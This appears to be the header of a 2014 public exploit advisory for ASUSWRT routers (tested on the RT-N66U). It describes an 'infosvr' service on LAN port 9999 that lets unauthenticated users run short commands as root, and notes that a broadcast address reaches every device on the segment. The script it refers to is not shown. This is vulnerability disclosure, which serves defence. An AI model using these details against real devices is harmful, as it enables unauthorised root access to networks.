# Exploit Title: ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution
# Date: 2014-10-11
# Vendor Homepage: http://www.asus.com/
# Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/FW_RT_N66U_[PII_REDACTED]4.zip
# Source code: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/GPL_RT_N66U_[PII_REDACTED]4.zip
# Tested Version: 3.0.0.4.376_1071-g8696125
# Tested Device: RT-N66U

# Description:
# A service called "infosvr" listens on port 9999 on the LAN bridge.
# Normally this service is used for device discovery using the
# "ASUS Wireless Router Device Discovery Utility", but this service contains a
# feature that allows an unauthenticated user on the LAN to execute commands
# <= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr.
# "iboxcom.h" is in asuswrt/release/src/router/shared.
#
# Affected devices may also include wireless repeaters and other networking
# products, especially the ones which have "Device Discovery" in their features
# list.
#
# Using broadcast address as the IP address should work and execute the command
# on all devices in the network segment, but only receiving one response is
# supported by this script.
